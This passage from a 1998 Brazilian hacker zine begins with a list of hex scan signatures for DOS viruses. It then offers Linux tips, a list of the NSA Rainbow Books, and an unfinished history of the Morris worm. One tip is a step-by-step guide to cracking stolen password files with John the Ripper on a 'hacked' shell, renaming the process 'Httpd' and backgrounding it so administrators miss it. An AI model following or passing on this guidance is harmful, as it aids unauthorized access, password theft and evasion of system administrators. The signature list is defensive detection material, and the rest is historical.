        8b f8 2e ff 2e b0 00 cd Got-you [GY]
        9c *02 50 *26 b9 ?01 04 *24 ad *0a 35 *0a ab *0a e2 Maltese [Irs]
        04 ff bb 60 00 b4 4a e8 DIR-2 [D2]
        09 be *07 2e 80 *06 46 ?01 75 Haifa [Hf]
        09 bf *07 2e 80 *06 47 ?01 75 Haifa [Hf]
        be ?04 09 ?02 *02 2e 80 ?04 75 Haifa [Hf]
        bf ?04 09 ?02 *02 2e 80 ?04 75 Haifa [Hf]
        2e 80 34 ?01 b0 ?01 46 b0 ?01 39 fe b0 Sys [Sys]
        8b 16 47 00 8e 1e 45 00 b8 00 Einstein [Ein]
        21 3c 57 75 *09 c7 06 00 01 ?02 c7 06 02 JW2 [Jab]
        f8 8b ef 74 51 bb 00 01 Nobock [Nbk]
        e8 f5 02 e8 77 00 9d 5d bd 00 01 55 33 ed Jerk [Jrk]
        ba b2 01 b4 ?01 b9 0b 11 cd 21 90 Demon [Dem]
        e8 00 00 5e 81 *1e b9 14 0b ac Sunday-2 [Su2]
        e8 5c 00 e9 e3 *46 8b 1e e6 02 Xabaras [Xab]
        8e c0 bf 03 03 b1 7d f3 a4 M-128 [M128]
        eb d8 5b 53 83 c3 07 c6 07 Boys [Boys]
        e8 00 00 5b bf 00 01 8d b7 BackTime [BT]
        8e d0 bc 8c 01 fb b4 62 Tokyo [Tokyo]
        e9 fb fd e9 25 0b 06 57 0e 07 bf Spanish [Spain]
        8e d8 81 3e ac 01 46 42 75 08 81 748 [748]
        e8 00 00 5e 81 ee 0f 01 8d Spanz [Spz]
        eb 04 fe 06 82 22 a0 82 22 *20 22 09 75 d8 Kamikazi [Kami]
        e8 14 00 8a a4 2f 05 8d bc 20 Manta [Mant]
        b8 10 ff cd 21 3c 07 75 07 e8 Twin-351 [Twin]
        b4 30 cd 21 3c 02 72 0a b8 fe 4b Hitchcock [Hitc]
        b8 08 00 50 eb 05 58 90 eb 3e Mosquito [Mosq]
        e9 6a 01 37 08 *1e f0 03 0b 9b A-403 [A-403]
        e9 1c 02 eb 05 e9 d4 00 90 8b 16 ETC [ETC]
        5b 81 eb af 03 b9 a5 03 80 37 Klaeren [Kla]
        8b ec e8 ?01 df *07 2d e9 2b 00 ?02 68 N1 [N1]
        8e d0 8b 26 14 00 fb c6 06 3e Spanish April Fool [D28]
        8e d0 2e 8b 26 ?01 01 8c c0 Possessed [Poss]
        3a 52 22 11 0a 06 19 45 38 41 29 Cracker [CRJ]
        cd 21 5b 48 8e c0 fa 26 c7 06 01 Burghofer [Bgh]
        b9 50 00 ba 00 00 cd 26 Deicide [Dei]
        8b fe *0a 8a 5c fd *0a 8b 4c fe Simulati [Sim]
        8e c1 06 50 be 00 01 56 31 ff V270x [268P]
        b9 ff ff *03 2b ce f3 a4 2e c7 Pixel [Pix]
        b8 20 12 *02 cd 2f 26 8a 1d b8 16 12 cd 2f 512 [512]
        cd 21 8a 44 03 a2 02 01 8a 44 1067 [1067]
        8c 44 02 b4 25 ba 60 01 cd 21 337 [337]
        ba ?01 01 *02 0b 11 *02 b4 4e cd 21 *02 73 *03 eb *02 ba 9e I-B [IB]
        b4 4e b9 01 00 cd 21 73 02 eb WWT [WWT]
        b9 4f 07 2e 8a 97 08 00 2e 00 10 PCV [PCV]
        ed 07 eb 01 90 eb 01 90 eb 01 90 2559 [2559]
        ba d4 00 b4 1a cd 21 ba *09 cd 21 Mutant [Mut]
        53 58 5d *07 83 ed 09 *20 b9 74 0e *0c 32 d8 Telecom [Tele]
        8b cd f3 aa 33 ed ad 91 ad 92 0a 16 DROPPER [OW]
        cd 21 b9 03 00 51 b8 01 02 bb ?02 b9 01 00 *06 cd 13 59 DROPPER [OW]
        8c d1 *05 8e d0 5b 4c 4c 83 c6 22 Leech [Leech]
        b8 7d 4b cd 21 3d 54 56 75 Australian [Aust]
        8b fe e8 00 00 5e 83 c6 31 a4 AT144 [144]
        8b e9 e8 00 00 5b 53 8b 87 Kiev [Kiev]
        8b 43 01 8f 06 b9 5e ff 8f 733 [733]
        f7 b6 03 fe c5 eb f1 4c 6f 76 Love Child [LC]
        8b 1e 03 00 83 eb 50 8e ?01 b4 4a Warrior [War]
        1e 0e 1f 8b f7 ?01 ee *0b f3 a6 1f 1e 07 Horse [Hrs]
        f6 f7 20 49 4e 43 *0c ba 02 01 e9 Incom [Inc]
        89 e5 83 ec 52 *0f 9a 2b 03 f6 *17 7e ae 16 57 7808 [7808]
        2e ff 36 27 01 0e 1f 2e ff 26 25 01 Bad Boy [BB]
        d8 a1 13 04 2d 02 00 a3 13 04 06 1f PrtSc [PS10]
        e8 bb 06 8e c0 33 ff 33 c0 af 1963 [1963]
        eb 83 c3 20 2e 8e 06 85 00 b4 4a Growing Block [Grb]
        b9 60 09 *07 8a *07 17 *07 46 43 *07 81 *0a 09 72 Tequila [Teq]
        f8 b9 ?02 a4 e2 fd 8b fa 2b da 81 eb Kemerov [Keme]
        fb 8c c8 8e c0 e8 04 fb ba 3f 01 b4 Raubkopi [Raub]
        ea 83 c2 04 2b da b4 4a 8c c1 41 8e ZK900 [Z900]
        2e 8b 85 1f 00 3d ff ?01 74 13 be 3e 2560 [2560]
        e5 83 ec 12 8c 5e f4 55 e8 16 fe Sentinel [BCV]
        b8 55 4b cd 21 3d 31 12 74 76 b8 21 Sparse [Spar]
        e8 2a 01 33 c9 8a 2e 1a 00 e3 0d fe SVir [Svir]
        ee ba 71 00 ec 3c f0 76 03 e9 ?02 b8 Month4-6 [AGI]
        81 ee ?02 03 f3 89 04 be ?02 81 ee Enigma [Eng]
        e8 e4 04 a1 ?02 05 00 01 26 a3 ?02 26 8c Frogs [Frg]
        ee ?01 2e 8a 84 ?02 b9 ?02 bf ?02 03 fe 2e Sverdlov [Sv]
        b8 ?02 cd 21 3b e8 75 3e 0e 1f 58 2e Terror [Ter]
        f6 06 ?02 01 74 07 8e d0 V801 [V801]
        f3 a4 b4 09 ba 03 01 cd 21 ba a1 Tester [TV]
        e8 81 ff b8 00 30 cd 21 3d d2 07 Staf [Staf]
        e8 35 00 e8 1b 00 ba 00 00 b9 e8 08 Mix2 [MX2]
        a1 0e 00 *16 c7 06 04 00 00 01 *09 06 *05 ff Slayer [Slay]
        bf 00 01 8b f5 *07 f3 a4 *02 01 *0a 06 ?02 00 FamJ [FJ]
        8c c8 8e d8 be 01 01 2e 8b 04 05 RPVS [453]
        8b d8 cd 21 89 9c 95 00 8c 84 Guppy [Guppy]
        8b 46 04 3b c3 74 14 3d 70 00 Eddie [Crazy]
        e8 ac 02 e8 71 01 e8 9e 01 e8 55 02 834 [Ar]
        b8 00 42 cd 21 72 1a 33 d2 2e 8b V-299 [V299]
        ea 00 01 83 ee 06 03 d6 e8 c8 Phantom [Pht]
        b8 00 00 8e c0 26 a1 42 00 2d Lazy [Lazy]
        eb f7 81 f9 a3 46 75 03 eb Sylvia [Sylvia]
        f1 cd 21 81 fa 0e 0e 74 59 ba 905 [905]
        8e c0 *04 bf 00 01 8b f7 *0c 1e *07 1f *14 8e 492 [U492]
        c3 bb 34 01 8a 27 32 26 06 Plague [Plg]
        a5 8e c1 93 91 91 26 87 85 e0 Tiny 133 [T133]
        b9 b4 05 2e a0 0a 01 bf 2c 01 2e 80 3e 09 Patient [Pt]
        01 35 cd 21 8c 06 *03 89 1e *03 03 35 Fich [FCH]
        ea 00 74 97 ab 27 80 88 5d 18 d4 Hybrid [Hyb]
        ee 3c 00 b8 21 35 cd 21 2b db 26 Pieces [LPC]
        a1 13 04 bb 40 00 f7 e3 2d 67 Saddam [Sdm]
        a4 c4 3e 06 00 b0 ea 49 f2 ae MG [MG]
        f8 55 e8 ?01 fd b8 ?01 0d *02 8b d0 8b 46 f6 Sentinel [Sent]
        d6 cd 21 80 3c 50 74 17 8b d7 e8 Swiss 143 [S143]
        e8 00 00 *05 8b dc *05 33 *06 fa *0a 5f fe *06 53 58 5d b2 *05 83 ed 0a Holo [Hl]
        5e 83 ee ?01 eb 04 90 ?01 21 00 eb 03 USSR 2144 [U2144]
        51 ba ed ?01 8b f2 8b 6c 21 56 Kukak [Kakt]
        bf 4c 00 57 33 ed 8e dd c4 Label [Label]
        e8 f9 03 73 35 8d bc fc 01 2e Happy N.Y. [HNY]
        bb 2f 06 b9 50 00 8b fe d3 74 Tiny 133 [T133]
        5b 83 eb 59 2e 89 47 4d 2e 89 4f 4e Justice [Jus]
        5e 83 ee 4c fc 2e 81 bc 42 07 Hymn [Hymn]
        e8 7d fc 1e 0e 8e 5e 13 c4 Destruct [Destr]
        5b 83 eb 03 83 eb 31 2e 89 5f USSR 830 [U830]
        8c c0 *03 01 *03 8e *05 03 *0b 06 *05 8b *0c 00 01 Voronezh [Vor]
        42 4c 4f 4f 44 *13 2e 32 30 0d 0a 24 Blood [Blood]
        e6 20 fc ?01 c0 8e d8 ?01 f6 bf 3c 01 1575 [15xx]
        b9 ?02 8a 24 80 f4 ?01 88 24 46 e2 f6 USSR-600 [U600]
        ee ?01 b9 ?02 55 07 bf ?02 26 8b 05 3e 3b 04 Beeper [Beep]
        e8 00 00 5d 83 ed *08 b8 *28 cd *0c 8e Wishes [BWish]
        eb ?0a b4 ?01 cd 21 5b 3c ?01 75 ?01 b8 af 4b cd 21 USSR-948 [U948]
        0e 8c c8 2e 01 06 0c 01 ea BeBe [BeBe]
        fe b9 ?02 2e 30 05 47 e2 fa Lozinsky [Loz]
        b8 00 01 50 c3 e8 00 00 *0e fc *0c 1f *09 9c 707 [707]
        ed 8e dd c4 1d bf ?02 89 5d ?01 8c 45 ?01 b4 13 cd V-Label [Label]
        fd 89 d7 29 d3 81 eb ?02 89 9d Kemerov [Kem]
        e8 b4 4e 8d 16 03 01 03 d5 cd 21 MGTU [MGTU]
        ea ?02 bb ?02 a1 ?02 50 31 c9 51 8e d9 USSR-394 [U394]
        f5 bf ?02 03 7d ?01 a5 a5 33 f6 8e de USSR 516 [Leap]
        b8 00 01 8c cb 81 c3 ?02 53 50 cb Jeff [Jeff]
        e8 00 00 5e *03 bf ?01 02 26 80 3d ?01 74 ?01 b9 Hunt [Hunt]
        ea ?04 00 fc 02 01 00 00 00 80 00 P529 [529]
        f3 a6 74 70 2e 8b 1e ?02 2e 8b 0e ?02 81 e9 ?02 ba 00 02 b4 3f cd 21 Polimer [Polimer]
        b8 00 01 50 c3 *06 03 *0d b4 *09 8b *09 cd 21 Carioca [Carioca]
        ee ?01 ba *07 03 f2 8b 1c 8b 4c 02 Turbo [Pol-2]
        bb 15 00 2e 80 37 ?01 43 81 fb 3a 02 7c USSR [USSR]
        eb 45 90 1e 0e 1f 89 1e ?02 8c 06 ?02 58 48 Mirror [Mirror]
        ed 28 01 be 28 01 01 ee 2e 81 3c 4d 5a DataLock [Data]
        fa 14 7f 55 b8 ?02 cd 10 b8 ?02 cd 10 50 33 c0 cd 10 b9 1e 00 Happy [Happy]
        5e 83 ee 03 8b de 81 eb 91 01 Lehigh [Lehigh]
        3e 0a 01 45 74 05 2e 03 3e 03 01 Doom II [Dm2]
        8b 0e 06 01 be 08 01 8a 04 34 Wisconsin [Wisc]
        31 34 31 24 46 4c Cascade [170X]
        b4 1a cd 21 06 56 8e 06 2c 00 bf 00 00 5e Lisbon [Lisbon]
        3c 3b 74 *02 3c 00 74 *06 aa eb *08 1f 89 Vienna [VHP]
        b4 2a c6 06 9b 05 01 90 e8 d6 ff 81 Violator [Vienna]
        33 c0 33 db *10 bf 00 01 ?01 33 ff c2 Parasite new [Par]
        25 cd 21 a1 0a 00 8e c0 bb 80 Black Mon [BMon]
        56 2e 8a 84 e8 01 b9 e8 01 f6 Ontario 2 [Ont]
        2b c8 75 ed 8b d1 b8 00 42 cd 21 1024 [1024]
        ee 03 fa fc ?01 72 2e 56 83 c6 03 fc bf 00 01 Victor [Victor]
        8c c8 05 ?02 50 b8 c0 02 50 cb 1971 [1971]
        fc b8 0f e0 cd 21 3d ?02 75 3d 1971 [1971]
        8b c4 40 b1 04 d3 e8 40 8c ?01 03 Rocko [RKO]
        8c d0 8b d4 bc 02 00 36 8b 0e Hallo [Hal]
        0e *01 bb *06 b9 *05 81 c1 ?02 eb *14 43 eb Flip [Flip]
        21 b4 3f b9 18 00 8d 16 88 02 8d 36 86 02 8b 1c Paris [Paris]
        33 06 14 00 31 04 46 46 e2 f2 Syslock [Syslock]
        53 bb ?02 f8 b8 03 ?01 cd 21 5b Yankee [Doodle]
        0e 01 cf e8 00 00 5b 81 eb a9 Fish [Fish]
        51 b9 ff ff 9c 0e e8 2e 00 59 9c Nomen [Nom]
        8b de 90 90 81 c6 32 00 b9 12 08 2e Scott's [2133]
        3e 01 1d f2 77 d1 ba 00 Oropax [Oro]
        4d 2b d0 4a 45 03 e8 45 8e c5 JoJo [JoJo]
        5e 1e 06 8c c0 48 8e c0 26 Devil's [Dance]
        8b 9c 17 04 b9 ?02 8d 94 RedX [RedX]
        64 02 31 94 42 01 d1 c2 4e 79 f7 12 Tricks [Tricks]
        4b 74 06 9d 2e ff 2e *0c 2e 89 16 Solano [Sub]
        e8 00 00 5e 8b de ?02 81 c6 1b 00 b9 ?01 06 2e Slow [Slow]
        31 d2 8b ca cd 21 3d 00 f0 73 Shake [Shake]
        81 c6 00 01 b9 *5c bf 00 01 *0c f3 FamN [FN]
        51 ad 33 d0 e2 fb 59 31 15 47 V800 [V800]
        4d a9 a5 2e 70 66 2e 57 09 0f June [June16]
        8a 0e 95 00 81 e1 fe 00 ba 9e Taiwan [Taiwan]
        12 00 b9 b1 04 2e 30 04 46 e2 July 13th [J13]
        c4 74 f0 2e 80 3e 2f 04 01 75 Prudents [Prud]
        b9 20 00 b4 4e cd 21 73 0c Vcomm [Vcomm]
        89 1e 22 03 8c 06 24 03 b4 1a ba c6 VP [VP]
        a1 fc 03 *09 2e a2 ?01 00 *09 c7 06 Jerusalem [Jeru]
        f3 a5 26 c6 06 fe 03 cb 58 Jerusalem [Jeru-A]
        a1 fc 03 *09 2e a3 ?01 00 *02 fe 03 Tobacco [Tob]
        1f b9 *05 e9 33 f6 8b fe 06 b8 *05 50 *19 2e Sunday [Sunday]
        eb 02 ?02 81 ed 38 00 e8 c3 ff 1008 [1008]
        f5 81 c6 00 05 80 3c e9 Japan [C-J]
        fa 8b ec 58 32 c0 89 46 02 81 Christmas Tree [XA1]
        eb 96 83 2e 12 00 40 83 2e 03 Sorry [Sorry]
        8b fa 0e 1f cd 32 57 b0 4d f2 ae Tiny [Rtiny]
        b4 40 8d 94 ?01 01 b9 ?02 cd Tiny [Tiny] 
        e8 00 00 5e 83 ee 03 50 *14 cd Pif [Pif]
        d2 74 01 40 89 44 ?01 89 54 02 a1 Fellow [Fellow]
        c8 8e d8 b8 40 00 8e c0 fc e8 58 04 80 3e 1381 [1381]
        b8 58 45 89 40 02 b0 00 88 40 04 ItaVir [Ita]
        e8 fd fe 72 2a 3b c1 7c 27 e8 Liberty [Liberty]
        bb 10 00 *07 f7 e3 03 c1 83 d2 00 f7 f3 *01 50 4096 [4096]
        b8 01 43 8e 5e 0e 8b 56 06 2e Vacsina [Vacs]
        8e c0 b8 77 25 d3 e3 26 ff Wolf [Wolf]
        b0 00 fa d5 0a 88 07 eb 05 ea c0 Flash [Flash]
        8b 1e ?01 02 b9 ?01 01 8b 16 ?01 02 b4 40 cd Leprosy-3 [Lep3]
        eb 2b 90 5a 45 cd 60 2e Zero [Zero]
        21 b4 48 bb ?01 00 cd 21 72 4e a3 Anti-Pascal [AP]
        a4 00 55 89 e5 81 ec 02 02 bf ca 05 0e 57 bf 3e 01 AIDS II [A2]
        83 ec 04 55 *02 8b ec 50 8c c0 05 Iceland [Ice-3]
        04 06 bf ba 00 57 cb 0e 1f 8e 06 Perfume [fume]
        56 07 45 07 21 07 1d 49 27 6d 20 73 6f 20 6d 75 63 Joker [Joke]
        b3 01 b4 ?01 b7 01 b4 ?01 8b 37 b4 ?01 b3 03 b4 ?01 03 f3 b4 -101 [V101]
        81 b8 fe ff 8e d8 2d cc -90 [90]
        8c c8 05 00 10 *08 be 00 01 *0c cd 21 Pix based [Pix]
        2e 8a 07 32 c2 d0 ca 2e DC II-b [C-2B]
        72 04 50 eb 07 90 b4 4c Nothing [Not]
        80 fc 6c 74 ea 80 fc 5b 74 e5 DBASE [Dbase]
        8f 06 18 05 26 8f 06 1a Ala [Alabama]
        36 01 01 83 ee 03 8b c6 3d 00 DC [Crime]
        80 c7 84 *05 b4 2a cd 21 81 f9 *02 07 7d Traceback [3066]
        8a 94 03 01 8d bc 29 01 8d 8c ea 06 DC-2 [DC-2]
        43 81 3f 45 58 75 f1 b8 00 43 cd 21 MIX1 [Ice]
        73 55 52 49 56 00 Suriv A [SurivA]
        e8 00 00 5b 81 eb 31 01 2e f6 87 Yap [Yap]
        bf 00 01 ad ad 8b *0b ff e9 92 Ram [Ram]
        cd 21 b6 00 8b c2 b1 1e f6 f1 3c Crew-2480 [2480]
        bf 00 01 *07 b9 03 00 f3 a4 *04 b4 *0b cd 21 FamM [FM]
        b9 04 00 *05 8c d8 8e c0 bf 00 01 FamM [FM]
        bf 00 01 *07 b9 03 00 f3 a4 *18 bb 00 01 FamM [FM]
        b9 02 00 b6 00 cd *30 2e 8b 1e *05 4b *2d 2e ?01 1e FamQ [FQ]
        8c da 83 c2 10 2e Alfa [Alf]
        8c c0 05 10 00 2e 01 ?03 2e 01 *0f fc *04 03 72 FamE [FE]
        ba 00 01 b9 *05 b4 40 cd 21 *0d b8 *14 b4 FamR [FR]
        bf 00 02 b9 ?02 f3 ?01 06 1f *04 be ?01 00 FamS [FS]
        e8 00 00 5a 83 *1e cd 21 *21 75 *29 72 Fam1 [F1]
        b9 00 00 8b d1 *05 cd 21 *05 00 *0f 8b *17 02 Fam2 [F2]
        8b 84 ?02 a3 00 01 8b 84 ?02 a3 02 01 *46 cd Fam3 [F3]
        fc b4 ?01 cd 21 80 fc ?01 73 16 80 fc 03 Jeru Dam [Jdam]
        --------------------------------        
 



   1998, Cebola - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                        08  - D i C A S  4  L i N U X
                       -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

                                
By BLAcK MaSK

        Gostaria  de  abrir mais uma secao neste zine, onde darei desde dicas
basicas  ateh  avancadas.  Meu objetivo eh sanar a  maior parte das duvidas a
respeito do Linux e fazer este maravilhoso sistema operacional progredir cada
vez  mais. Muita  gente fala em Linux, mas poucos sabem realmente o que eh ou
sabem operar um... Por ser muito novo  e  estar em fase de aceitacao entre as
grandes empresas  e  provedores, existem muitas  duvidas a respeito do Linux,
ainda mais porque muito poucos tem um vizinho experiente em Linux e que possa
tirar   as   suas  duvidas.   Assim,  por  meio  desta  pretendo  ajudar  aos
"recem-nascidos"  linuxers  do  Brasil. POR FAVOR, enviem perguntas e duvidas
para que esta secao continue a existir. Mandem por mail ou me procurem no IRC
(Brasnet, #hackphr). No more commentz... LINUX NOW!!!


-Para quem esqueceu a senha do ROOT

        Para quem tem Linux em casa ou para os  admins que esqueceram a senha
do  ROOT  e  agora  estao desesperados pensando em formatar o HD e reinstalar
tudo de volta. Calma !  Hah  um  jeito  bem facil de se logar num sistema com
acesso ROOT sem nem sequer digitar login e muito menos  senha. O negocio eh o
seguinte  :  Quando voce  inicializa seu computador, aparece o prompt do LILO
Boot (ou  qualquer outro bootloader) para  voce escolher  a  partir  da  qual
particao   deseja   bootar.   Normalmente,  voce  digita  linux  para  bootar
pelo  Linux  e  windows  ou  dos  para bootar pelo  Windows95 ou DOS. Aih, na
proxima  vez  que  aparecer  o prompt do LILO Boot voce digita "linux single"
ao  inves  de somente "linux" e o sistema do Linux  eh  inicializado  em modo
monousuario,  com  acesso  ROOT  e  voce  nao faz nenhum  esforco. Aih eh soh
alterar a senha. Espero que tenham gostado desta dica !


PS: Esta dica se encontra no "The Linux Manual" NETDADOS - por Hugo Cisneiros
disponivel em http://www.netdados.com.br/tlm  -  apenas  foram  acrescentados
comentarios e uma explicacao teorica.


-Deixando o john rodando em uma shell hackeada

        Todos  que  jah  pegaram  um  arquivo  de senhas sabem que, depois de
finalmente  estarem  com  o  arquivo  em maos,  o phoda eh esperar, as vezes,
alguns dias e noites ateh que o "JOHN" ou "JACK" terminem o seu  trabalho. Eu
mesmo, jah deixei meu  computador ligado  durante madrugadas  inteiras... Mas
porque nao deixar ele rodando em outra maquina, de preferencia  num provedor,
poupando  o  teu Hardware e deixando mais memoria livre para voce fazer outra
coisa ? E depois eh soh voltar e conferir as senhas! Simples! Voce precisarah
dos seguintes componentes :


==> Um computador AT com modem de 14400 bps ou superior;
==> Uma shell, de preferencia hackeada;
==> Linux/Unix;
==> Para  quem  ainda sofre com o rWIN95 ou DOS, basta um programa cliente de
    Telnet.
==> Cerebro e capacidade de raciocinar (hummm... dificil hoje em dia...)
==> O source do John for Linux ou o bin jah compilado.
==> Um arquivo  e senhas (passwd ou shadow) -  a maior parte das pessoas para
    por aqui... :-))
==> Uma boa wordlist. Se preferir pode usar Brute Force.


 ---- PROCEDIMENTOS PASSO A PASSO ----


1- Ligue seu computador.
2- Disque para o seu provedor.
3- Telneteie para o servidor onde voce tem uma shell.
4- Faca um upload do john e da wordlist(pode usar *MODEM, Kermit, FTP, etc).
5- Se tiver o source, compile-o (gcc ou cc).
6- Rode o john.
7- Agora eh soh esperar...


 ---- RODANDO O JOHN ----


Para  dificultar  para o admin descobrir, crie um arquivo "restore" ou rode o
john normalmente na primeira vez.


[ufo14@Nasa System area51]$ ./john -pwfile:passwd -wordfile:wordlist -quiet
-incremental:all


PS: Se for usar Brute Force substitua o "-wordfile:wordlist" por "-des".

E finalize com CTRL-C,  o arquivo restore serah automaticamente criado com as
informacoes do passwd, wordlist e outros modos de como rodou pela ultima vez.
Renomeie  apenas  o  executavel  john para o nome parecido de um programa bem
comum, por exemplo para Httpd.  Depois  rode-o com atributo "-restore", com o
comando nohup e em background.

PS:  Nesta materia,  ensinar a usar o john NAO eh o meu objetivo, portanto se
encontrar problemas para  rodar com os  argumentos que passei aqui, nem perca
tempo me mandando mails pedindo para  te  ensinar a usar o john. Isto eh algo
BASICO, e se voce nao eh capaz de aprender  nada sozinho e se virar por conta
propria  nunca  deixarah  de  ser  um newbie, e o pior, serah um puta lammer!
Nesta materia rodei a versao 1.4 do john e tudo funcionou perfeitamente.


[ufo14@Nasa System area51]$ nohup ./Httpd -restore &


O comando  "nohup"  servirah para ignorar o encerramento da sessao e manter o
processo rodando independentemente do terminal.
O atributo  "&"  farah  o  programa rodar em background. Ignore a mensagem de
erro do "nohup.out". A sessao  do JOHN sera inicializada. Volte ao prompt sem
fechah-la. Apenas pressione <ENTER> apos o carregamento do JOHN.

"Tah, mas o programa continuarah visivel ao admin ?"  Depende do QI dele...

O  utilitario  "ps"  rodado  sem  nenhum  atributo mostra apenas os processos
correntes  e  que possuem  um  terminal  definido.  Para ver todos eh preciso
rodah-lo com os atributos "ax" :


[ufo14@Nasa System area51]$ ps ax


Isto ecoarah todos os processos rodados na maquina, incluindo daemons, outros
processos sem terminal definido e de outros usuarios.

O JOHN sera mostrado da seguinte forma :


  PID TTY STAT  TIME COMMAND
  502   ? R    0:08 ./Httpd -restore
  

Como  aparecerao  dezenas  de  processos,  dificilmente  o admin perceberah a
existencia  de  mais  um  rodando, ainda  mais  por parecer mais um daemon. A
prioridade do programa eh setada para "-5" por default  em um processo em sem
terminal.  Nao  queira deixar mais rapido alterando para "-20" pois a maquina
ficarah extremamente lenta, e o admin perceberah facilmente...
Espere  algum  tempo  e  volte  para  conferir as senhas descobertas, que sao
armazenadas no arquivo "john.pot".

Voce pode pegar o john 1.5 (last) para Linux ou DOS em :
http://www.blackmask.base.org


E-mail : black_mask@usa.net


   1998, BLAcK MaSK - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                             09  - RAiNBOW BOOKS 
                           -=-=-=-=-=-=-=-=-=-=-=-  


By BLAcK MaSK                           

        Voce  jah ouviu falar dos "Rainbow Books" alguma vez ? Orange Book ou
Red Book ?  Apareceram  no  filme HACKERS, enquanto o  Crash Override, Cereal
Killer, Phreak e Joey  estao conversando em uma mesa... Pois eh, eles sao uma
colecao de livros "coloridos"  editados pela National Security Agency (NSA) e
National  Computer  Security  Center (NCSC),  entidades do Governo Americano,
sobre diversos temas relacionados a seguranca de computadores, principalmente
sobre a avalicao  das  relacoes de confianca entre os mesmos. Estes, da NSA e
NCSC  contituem  a serie principal, mas tambem hah uma serie do Department of
Defense (DoD).  Voce  pode  adquirir  estes  livros  gratuitamente em formato
on-line ou em papel. Em formato on-line estao disponiveis no site da NT Shop,
na seguinte URL : http://www.ntshop.net/security/rainbow.htm .
E se quiser a versao dos mesmos em papel, escreva para :

Department of Defense
National Security Agency
ATTN: V (NISC)
9800 Savage Road
Ft. George G. Meade, MD 20755-6755

ou

Chief
Technical Guidelines Division
National Computer Security Center
ATTN: C11
Ft. George G. Meade, MD 20755-6000

e se for louco o suficiente pode ligar para :

(800) 688-6115
(410) 684-7661
(301) 859-4452

PS: Fone dos EUA, nao esqueca do codigo internacional antes (01) ;-)


Aqui  vai  alguns dos Rainbow Books e uma descricao de cada, como nao li ateh
o  exato momento todos os livros, muitas das descricoes sobre os mesmos foram
retiradas  de  outras  fontes : "The Ultimate Beginner's Guide To Hacking and
Phreaking" by  Revelation of LOA--ASH  e  do  proprio  site da NT Shop. Quase
todos os livros listados sao da NSA/NCSC, quando forem do DoD sera destacado.


Livro/Cor :             Descricao :


Aqua                    Glossario de Termos e Acronimos

Aqua 2                  Entendendo um Modelo Exemplar de Seguranca

Blue                    Questionario de Avaliacao do Produto

Light Blue              Identificacao e Autenticacao em Sistemas Equivalentes

Bright Blue             Avaliacao das Relacoes de Confianca

Venice Blue             Seguranca de Sub-Sistemas

Burgundy                Entendendo um Projeto de Documentacao

Brown                   Facilidades da Equivalencia de Sistemas

Gray                    Selecionando os Aspectos para a sua Lista de Controle
                        de Acesso em Sistemas UNIX

Green D.O.D.            Gerenciamento de Senhas

Green NSA/NCSC          Remanescencia de Dados em Sistemas de Informacoes
                        Automatizados

Teal Green NSA/NCSC     Glossario de Termos e Acronimos

Lavender                Interpretacao do Gerenciamento de Banco de Dados

Dark Lavender		Distribuindo as Relacoes de Confianca

Orange D.O.D.           Relacoes de Confianca em Sistema de
                        Computadores (o livro mais famoso)

Orange NSA/NCSC         Entendendo o Gerencimento das Configuracoes em
                        Sistemas Equivalentes

Bright Orange NSA/NCSC  Entendendo um Teste de Seguranca

Neon Orange NSA/NCSC    Entendendo um Acesso Prudente

Peach                   Aspectos para um Guia de Seguranca para Sistemas
                        Equivalentes

Hot Peach               Caracteristicas de uma Boa Seguranca

Pink                    Avaliando a Fase do Programa de Manutencao

Light Pink              Cobertura de Canais 

Purple                  Guia para a Verificacao Formal de Sistemas

Purple 1                Guia para Obtencao do Sistema Almejado I

Purple 2                Guia para Obtencao do Sistema Almejado II

Purple 3                Guia para Obtencao do Sistema Almejado III

Purple 4                Guia para Obtencao do Sistema Almejado IIII

Red                     Interpretacao das Relacoes de Confianca em uma Rede

Dark Red                Interpretacoes dos Ambientes de Rede

Tan                     Auditoria em Sistemas Equivalentes

Turquiose               Seguranca de Informacoes

Violet                  Protecao do Controle de Acesso

Yellow                  Exigencias para Seguranca de Computadores I

Yellow 2                Exigencias para Seguranca de Computadores II

Yellow 3                Recuperacao da Equivalencia de Sistemas

Yellow-Green            Manuais sobre a Facilidade da Equivalencia


Estes livros,  apesar  de  estarem totalmente em Ingles  (desconheco algum em
portugues) e  serem  extremamente teoricos  podem ser uma riquissima fonte de
aprendizado e consulta,  e  alem disso, sao constantemente atualizados, o que
reflete a grande  preocupacao do  governo  americano com a seguranca dos seus
computadores ("pena" que seja diferente na pratica... hehehe).  Acho que vale
a pena conferir !!! :-)

E-mail : black_mask@usa.net


   1998, BLAcK MaSK - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                   10  -   T  H  E    W  O  R  M 
                  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


By BLAcK MaSK  &  QuIcK DeAtH

        Vamos  falar  agora  sobre  aquele  famoso Worm que atacou uma grande
quantidade de redes de computadores.
Bem,  o  Worm nao eh nem um virus nem um Trojan Horse. Apesar de criar copias
de si mesmo, "infectando" outros sistemas da mesma maneira, o que o difere de
um virus, eh  que  o  programa infectado nao precisaria ser executado. O Worm
entrava  em  acao  sozinho. Tambem nao possuia em seu source nenhum codigo de
destruicao.  Atacou apenas workstations Sun Microsystems Sun-3 e computadores
VAX  rodando  versoes  4 do BSD-UNIX. Ele utilizou-se de alguns exploits (ex:
Sendmail) desconhecidos na epoca  e  depois  utilitarios do proprio UNIX para
propagar-se.

--- PRINCIPAIS CARACTERISTICAS DO WORM ---

Ele deixava alguns arquivos  raros no /usr/tmp e estranhas mensagens nos logs
de alguns programas. A maquina infectada comecava a ficar cada vez mais lenta
e  em  alguns  casos  a  travar, quando o SWAP Space ou a tabela de processos
estavam  completamente  cheios. Alem disso, haviam partes do seu codigo fonte
que  nao  funcionavam, mostrando que o Worm havia sido lancado antes de estar
completamente  pronto.  A parte do codigo  que  fazia ele se propagar era tao
complexa  que  nao  poderia  ser  totalmente  controlado nem pelo seu proprio
criador,  e  que  serviu  na  alegacao  da defesa de Robert Morris (que nunca
confessou publicamente que foi ele o autor) de que o lancamento do Worm tinha
sido acidental.


Ele era constituido por duas partes principais:


--- VECTOR PROGRAM ---

